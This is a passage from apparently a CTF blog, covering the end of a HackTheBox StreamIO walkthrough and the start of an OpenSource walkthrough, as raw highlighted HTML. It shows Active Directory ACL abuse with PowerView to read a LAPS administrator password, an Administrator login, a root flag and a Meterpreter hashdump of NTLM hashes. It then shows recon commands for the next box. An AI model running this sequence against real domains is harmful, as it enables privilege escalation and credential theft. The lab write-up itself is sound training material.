</span><span class="o">*</span><span class="n">Cloneable</span><span class="w"> </span><span class="nx">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="w">
</span><span class="o">*</span><span class="n">CORE</span><span class="w"> </span><span class="nx">STAFF</span><span class="w">
</span><span class="o">*</span><span class="n">DnsUpdateProxy</span><span class="w">
</span><span class="o">*</span><span class="nx">Domain</span><span class="w"> </span><span class="nx">Admins</span><span class="w">
</span><span class="o">*</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Computers</span><span class="w">
</span><span class="o">*</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="w">
</span><span class="o">*</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Guests</span><span class="w">
</span><span class="o">*</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Users</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<p>The group CORE STAFF stands out, look at it’s details we see nothing helpful:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">get-adgroup</span><span class="w"> </span><span class="s2">"core staff"</span><span class="w">
</span><span class="n">DistinguishedName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">CORE</span><span class="w"> </span><span class="nx">STAFF</span><span class="p">,</span><span class="nx">CN</span><span class="o">=</span><span class="n">Users</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">streamIO</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">GroupCategory</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Security</span><span class="w">
</span><span class="n">GroupScope</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Global</span><span class="w">
</span><span class="n">Name</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">CORE</span><span class="w"> </span><span class="nx">STAFF</span><span class="w">
</span><span class="n">ObjectClass</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">group</span><span class="w">
</span><span class="n">ObjectGUID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">113400d4-c787-4e58-91ad-92779b38ecc5</span><span class="w">
</span><span class="n">SamAccountName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">CORE</span><span class="w"> </span><span class="nx">STAFF</span><span class="w">
</span><span class="n">SID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-1470860369-1569627196-4264678630-1108</span><span class="w">
</span></code></pre></div></div>
<p>There’s also no members of it. If we look at it’s access control list (ACL):</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="p">(</span><span class="n">Get-ACL</span><span class="w"> </span><span class="s2">"AD:</span><span class="si">$(</span><span class="p">(</span><span class="n">Get-ADgroup</span><span class="w"> </span><span class="s2">"core staff"</span><span class="p">)</span><span class="o">.</span><span class="nf">distinguishedname</span><span class="si">)</span><span class="s2">"</span><span class="p">)</span><span class="o">.</span><span class="nf">access</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span><span class="n">ActiveDirectoryRights</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">WriteOwner</span><span class="w">
</span><span class="n">InheritanceType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">ObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">00000000-0000-0000-0000-000000000000</span><span class="w">
</span><span class="n">InheritedObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">00000000-0000-0000-0000-000000000000</span><span class="w">
</span><span class="n">ObjectFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">AccessControlType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Allow</span><span class="w">
</span><span class="n">IdentityReference</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">streamIO\JDgodd</span><span class="w">
</span><span class="n">IsInherited</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">InheritanceFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="n">PropagationFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">None</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<p>Why would JDgood account have explicit permissions as WriteOwner of it?</p>
<p>Looking for computer in the domains we see just one:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">get-adcomputer</span><span class="w"> </span><span class="nt">-filter</span><span class="w"> </span><span class="o">*</span><span class="w">
</span><span class="n">DistinguishedName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">DC</span><span class="p">,</span><span class="nx">OU</span><span class="o">=</span><span class="n">Domain</span><span class="w"> </span><span class="nx">Controllers</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">streamIO</span><span class="p">,</span><span class="nx">DC</span><span class="o">=</span><span class="n">htb</span><span class="w">
</span><span class="nx">DNSHostName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">DC.streamIO.htb</span><span class="w">
</span><span class="n">Enabled</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">True</span><span class="w">
</span><span class="n">Name</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="w">
</span><span class="n">ObjectClass</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">computer</span><span class="w">
</span><span class="n">ObjectGUID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee</span><span class="w">
</span><span class="n">SamAccountName</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">DC</span><span class="err">$</span><span class="w">
</span><span class="n">SID</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">S-1-5-21-1470860369-1569627196-4264678630-1000</span><span class="w">
</span><span class="n">UserPrincipalName</span><span class="w"> </span><span class="p">:</span><span class="w">
</span></code></pre></div></div>
<p>And if we look at the ACL for the Domain Controllers OU that the DC sits in:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Get-ADOrganizationalUnit</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">%</span><span class="p">{(</span><span class="n">Get-ACL</span><span class="w"> </span><span class="s2">"AD:</span><span class="si">$(</span><span class="bp">$_</span><span class="o">.</span><span class="nf">distinguishedname</span><span class="si">)</span><span class="s2">"</span><span class="p">)</span><span class="o">.</span><span class="nf">access</span><span class="p">}</span><span class="w">
</span><span class="n">ActiveDirectoryRights</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">ReadProperty</span><span class="p">,</span><span class="w"> </span><span class="nx">ExtendedRight</span><span class="w">
</span><span class="n">InheritanceType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Descendents</span><span class="w">
</span><span class="n">ObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">a156e052-fb12-45bc-9a00-056271040d9f</span><span class="w">
</span><span class="n">InheritedObjectType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">bf967a86-0de6-11d0-a285-00aa003049e2</span><span class="w">
</span><span class="n">ObjectFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">ObjectAceTypePresent</span><span class="p">,</span><span class="w"> </span><span class="nx">InheritedObjectAceTypePresent</span><span class="w">
</span><span class="n">AccessControlType</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">Allow</span><span class="w">
</span><span class="n">IdentityReference</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">streamIO\CORE</span><span class="w"> </span><span class="nx">STAFF</span><span class="w">
</span><span class="n">IsInherited</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
</span><span class="n">InheritanceFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">ContainerInherit</span><span class="w">
</span><span class="n">PropagationFlags</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="nx">InheritOnly</span><span class="w">
</span></code></pre></div></div>
<p>Finally another look at what software is installed:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">dir</span><span class="w"> </span><span class="s2">"c:\program files"</span><span class="w">
</span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\program</span><span class="w"> </span><span class="nx">files</span><span class="w">
</span><span class="n">Mode</span><span class="w"> </span><span class="nx">LastWriteTime</span><span class="w"> </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-------------</span><span class="w"> </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">1:35</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Common</span><span class="w"> </span><span class="nx">Files</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">2:57</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">iis</span><span class="w"> </span><span class="nx">express</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">3/28/2022</span><span class="w"> </span><span class="nx">4:46</span><span class="w"> </span><span class="nx">PM</span><span class="w"> </span><span class="nx">internet</span><span class="w"> </span><span class="nx">explorer</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">2:14</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">LAPS</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">2:52</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">1:54</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">SQL</span><span class="w"> </span><span class="nx">Server</span><span class="w">
</span><span class="n">d-----</span><span class="w"> </span><span class="nx">2/22/2022</span><span class="w"> </span><span class="nx">1:53</span><span class="w"> </span><span class="nx">AM</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">Visual</span><span class="w"> </span><span class="nx">Studio</span><span class="w"> </span><span class="nx">10.0</span><span class="w">
</span><span class="err"><</span><span class="n">SNIP</span><span class="err">></span><span class="w">
</span></code></pre></div></div>
<p>So what have we found?</p>
<p>We have the credentials for JDgodd, and he has permissions to alter membership of the <strong>CORE STAFF</strong> group. That group has permissions on the Domain Controllers OU, and <a href="https://techcommunity.microsoft.com/t5/itops-talk-blog/step-by-step-guide-how-to-configure-microsoft-local/ba-p/2806185">LAPS</a> is installed on the Domain Controller in that OU.</p>
<h2 id="bloodhound">Bloodhound</h2>
<p>We can also use <a href="https://github.com/BloodHoundAD/BloodHound">Bloodhound</a> to find this out. I covered how to set up Neo4J and Bloodhound on the TryHackMe room <a href="https://pencer.io/ctf/ctf-thm-postexploit">here</a>. Assuming you’ve done that setup, you’ll need to upload <a href="https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe">SharpHound</a> to the box and run it to collect the data. Then download it like we did for the FireFox files using netcat. Finally drop that zip from SharpHound in to Bloodhound and start looking at the data.</p>
<p>You’ll find the user ending in 1104 (that’s JDgodd) owns <strong>CORE STAFF</strong> which has the rights to Read LAPS Password on the DC:</p>
<p><img src="/assets/images/2022-07-01-23-09-58.png" alt="streamio-bloodhound" /></p>
<p>If you look at the info for ReadLAPSPassword:</p>
<p><img src="/assets/images/2022-07-03-22-08-30.png" alt="streamio-lapsinfo" /></p>
<p>And the Abuse info shows us what to do:</p>
<p><img src="/assets/images/2022-07-03-22-09-27.png" alt="streamio-lapsexploit" /></p>
<p>To be able to read the LAPS password we need to be a member of <strong>CORE STAFF</strong>, but we can’t connect via Evil-WinRM as JDgodd because he isn’t in the Remote Management Users group. Instead we can use PowerView do this whilst logged in as nikk37.</p>
<h2 id="powerview">PowerView</h2>
<p>Grab PowerView from <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">here</a>, upload and import it:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">upload</span><span class="w"> </span><span class="nx">PowerView.ps1</span><span class="w">
</span><span class="n">Info:</span><span class="w"> </span><span class="nx">Uploading</span><span class="w"> </span><span class="nx">PowerView.ps1</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents\PowerView.ps1</span><span class="w">
</span><span class="kr">Data</span><span class="p">:</span><span class="w"> </span><span class="mi">1027036</span><span class="w"> </span><span class="n">bytes</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">1027036</span><span class="w"> </span><span class="nx">bytes</span><span class="w"> </span><span class="nx">copied</span><span class="w">
</span><span class="n">Info:</span><span class="w"> </span><span class="nx">Upload</span><span class="w"> </span><span class="nx">successful</span><span class="o">!</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="o">.</span><span class="w"> </span><span class="o">.</span><span class="nx">/PowerView.ps1</span><span class="w">
</span></code></pre></div></div>
<p>Now we can create a credential object for JDgodd:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nv">$SecPassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">ConvertTo-SecureString</span><span class="w"> </span><span class="s1">'JDg0dd1s@d0p3cr3@t0r'</span><span class="w"> </span><span class="nt">-AsPlainText</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nv">$Cred</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-Object</span><span class="w"> </span><span class="nx">System.Management.Automation.PSCredential</span><span class="p">(</span><span class="s1">'streamio\JDgodd'</span><span class="p">,</span><span class="w"> </span><span class="nv">$SecPassword</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>
<p>And use that to add him to the <strong>CORE STAFF</strong> group:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Add-DomainObjectAcl</span><span class="w"> </span><span class="nt">-Credential</span><span class="w"> </span><span class="nv">$Cred</span><span class="w"> </span><span class="nt">-TargetIdentity</span><span class="w"> </span><span class="s2">"Core Staff"</span><span class="w"> </span><span class="nt">-principalidentity</span><span class="w"> </span><span class="s2">"streamio\JDgodd"</span><span class="w">
</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Add-DomainGroupMember</span><span class="w"> </span><span class="nt">-identity</span><span class="w"> </span><span class="s2">"Core Staff"</span><span class="w"> </span><span class="nt">-members</span><span class="w"> </span><span class="s2">"streamio\JDgodd"</span><span class="w"> </span><span class="nt">-credential</span><span class="w"> </span><span class="nv">$Cred</span><span class="w">
</span></code></pre></div></div>
<p>Now give it a few minutes for the changes to replicated around, then you can pull the LAPS password out:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\nikk37\Documents</span><span class="err">></span><span class="w"> </span><span class="nx">Get-DomainObject</span><span class="w"> </span><span class="nx">dc.streamio.htb</span><span class="w"> </span><span class="nt">-Credential</span><span class="w"> </span><span class="nv">$Cred</span><span class="w"> </span><span class="nt">-Properties</span><span class="w"> </span><span class="s2">"ms-mcs-AdmPwd"</span><span class="p">,</span><span class="nx">name</span><span class="w">
</span><span class="n">name</span><span class="w"> </span><span class="nx">ms-mcs-admpwd</span><span class="w">
</span><span class="o">----</span><span class="w"> </span><span class="o">-------------</span><span class="w">
</span><span class="n">DC</span><span class="w"> </span><span class="nx">XgTt7YW50.0y</span><span class="p">]</span><span class="n">F</span><span class="w">
</span></code></pre></div></div>
<h2 id="root-flag">Root Flag</h2>
<p>Now we can grab the root flag by connecting as the local administrator:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">┌──</span><span class="p">(</span><span class="n">root</span><span class="err">㉿</span><span class="nx">kali</span><span class="p">)</span><span class="n">-</span><span class="p">[</span><span class="n">~/htb/streamio</span><span class="p">]</span><span class="w">
</span><span class="err">└─</span><span class="c"># evil-winrm -i streamio.htb -u Administrator -p 'XgTt7YW50.0y]F'</span><span class="w">
</span><span class="n">Evil</span><span class="nt">-WinRM</span><span class="w"> </span><span class="n">shell</span><span class="w"> </span><span class="n">v3.</span><span class="mi">3</span><span class="w">
</span><span class="o">*</span><span class="n">Evil</span><span class="nt">-WinRM</span><span class="o">*</span><span class="w"> </span><span class="n">PS</span><span class="w"> </span><span class="n">C:\Users\Administrator\Documents</span><span class="err">></span><span class="w">
</span><span class="o">*</span><span class="n">Evil</span><span class="nt">-WinRM</span><span class="o">*</span><span class="w"> </span><span class="n">PS</span><span class="w"> </span><span class="n">C:\Users\Administrator</span><span class="err">></span><span class="w"> </span><span class="nx">type</span><span class="w"> </span><span class="nx">c:\users\martin\desktop\root.txt</span><span class="w">
</span><span class="mi">1</span><span class="n">fa5dc25cb374ec74ca246288c26fa7f</span><span class="w">
</span></code></pre></div></div>
<p>Here’s a few hashes via Meterpreter just for fun:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter <span class="o">></span> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a98a423173ace118447a53577aa1767:::
JDgodd:1104:aad3b435b51404eeaad3b435b51404ee:8846130392c4169cb552fe5b73b046af:::
Martin:1105:aad3b435b51404eeaad3b435b51404ee:a9347432fb0034dd1814ca794793d377:::
nikk37:1106:aad3b435b51404eeaad3b435b51404ee:17a54d09dd09920420a6cb9b78534764:::
yoshihide:1107:aad3b435b51404eeaad3b435b51404ee:6d21f46be3697ba16b6edef7b3399bf4:::
</code></pre></div></div>
<p>That was a great box. I hope you learned something from this lengthy walkthrough. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}StreamIO is a medium level machine by JDgodd and nikk37 on HackTheBox. It’s A Windows box that focuses on recon and enumeration, with an interesting mix of tools and techniques used to complete it.Walk-through of OpenSource from HackTheBox2023-01-08T00:00:00+00:002023-01-08T00:00:00+00:00https://pencer.io/ctf/ctf-htb-opensource<p><a href="https://www.hackthebox.com/home/machines/profile/471">OpenSource</a> is an easy level machine by <a href="https://www.hackthebox.com/home/users/profile/476556">irogir</a> on <a href="https://www.hackthebox.com/home">HackTheBox</a>. It focuses on applications, containers and working with git.</p>
<!--more-->
<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-05-27-16-29-49.png" alt="opensource" /></p>
<p>We start by looking at an opensource web application used to upload files. The source files are available and after a code review of them we find a path traversal vulnerability. Using that we add a new endpoint to the Flask app and use that to gain code execution. This gets us to a shell inside a container, which we use Chisel to create a reverse tunnel back to Kali. Trough that tunnel we find Gitea, and with credentials found earlier we get a users private ssh keys. From there escalation to root is a trivial process of exploiting git pre-commits.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/471">HTB - Easy - OpenSource</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>21st May 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>11th June 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.164 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> opensource 10.10.11.164
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-05-27 16:32 BST
Nmap scan report <span class="k">for </span>10.10.11.164
Host is up <span class="o">(</span>0.11s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f <span class="o">(</span>RSA<span class="o">)</span>
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files <span class="k">for </span>Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings:
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Fri, 27 May 2022 15:32:47 GMT
| Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>utf-8
| Allow: HEAD, GET, OPTIONS
| Content-Length: 0
| Connection: close
|_
3000/tcp filtered ppp
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>99.43 seconds
</code></pre></div></div>
<h2 id="upcloud-website">upcloud Website</h2>
<p>Starting place as is often the way will be a website on port 80:</p>
<p><img src="/assets/images/2022-05-27-16-34-36.png" alt="opensource-website" /></p>
<p>Not a lot on this site. Scroll down to the bottom to see two links that do work:</p>
<p><img src="/assets/images/2022-05-27-16-41-28.png" alt="opensource-links" /></p>
<p><strong>Download</strong> let’s us get the source for the site. <strong>Take me there!</strong> let’s you try uploading files. Let’s start by looking at the source code. With this being CTF we can assume we’re looking for a vulnerability to be able to upload a file of our choosing.</p>
<p>Grab the file and unzip it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# wget http://10.10.11.164/download <span class="nt">-O</span> source.zip
<span class="nt">--2022-05-27</span> 16:44:50-- http://10.10.11.164/download
Connecting to 10.10.11.164:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2489147 <span class="o">(</span>2.4M<span class="o">)</span> <span class="o">[</span>application/zip]
Saving to: ‘source.zip’
source.zip 100%[<span class="o">==============>]</span> 2.37M 543KB/s <span class="k">in </span>4.8s
2022-05-27 16:44:55 <span class="o">(</span>509 KB/s<span class="o">)</span> - ‘source.zip’ saved <span class="o">[</span>2489147/2489147]
──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# unzip source.zip
Archive: source.zip
creating: app/
creating: app/app/
inflating: app/app/views.py
inflating: app/app/__init__.py
creating: app/app/static/
creating: app/app/static/js/
inflating: app/app/static/js/script.js
inflating: app/app/static/js/ie10-viewport-bug-workaround.js
creating: app/app/static/vendor/
creating: app/app/static/vendor/bootstrap/
creating: app/app/static/vendor/bootstrap/js/
<SNIP>
inflating: Dockerfile
creating: .git/
creating: .git/branches/
inflating: .git/description
inflating: .git/config
creating: .git/info/
inflating: .git/info/exclude
creating: .git/objects/
creating: .git/objects/01/
extracting: .git/objects/01/c76bb30cbd05b810719576d79b5535a56475f1
creating: .git/objects/11/
extracting: .git/objects/11/3af9958c392c6d0212475bf4c7581aff34e857
creating: .git/objects/85/
<SNIP>
inflating: .git/index
creating: .git/logs/
inflating: .git/logs/HEAD
creating: .git/logs/refs/
creating: .git/logs/refs/heads/
inflating: .git/logs/refs/heads/public
inflating: .git/logs/refs/heads/dev
</code></pre></div></div>
<p>There’s a lot of files in there. The interesting ones are a Dockerfile, and a .git repo. So we know the website is running in a docker container, and we have a git repo to explore.</p>
<h2 id="gittools">GitTools</h2>
<p>First install GitTools and then use it to extra the Git repo:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# git clone https://github.com/internetwache/GitTools
Cloning into <span class="s1">'GitTools'</span>...
remote: Enumerating objects: 242, <span class="k">done</span><span class="nb">.</span>
remote: Counting objects: 100% <span class="o">(</span>33/33<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
remote: Compressing objects: 100% <span class="o">(</span>26/26<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
remote: Total 242 <span class="o">(</span>delta 9<span class="o">)</span>, reused 14 <span class="o">(</span>delta 4<span class="o">)</span>, pack-reused 209
Receiving objects: 100% <span class="o">(</span>242/242<span class="o">)</span>, 56.48 KiB | 876.00 KiB/s, <span class="k">done</span><span class="nb">.</span>
Resolving deltas: 100% <span class="o">(</span>88/88<span class="o">)</span>, <span class="k">done</span><span class="nb">.</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# GitTools/Extractor/extractor.sh <span class="nb">.</span> extracted
<span class="s1">'###########
# Extractor is part of https://github.com/internetwache/GitTools
# Developed and maintained by @gehaxelt from @internetwache
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Destination folder does not exist
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Creating...
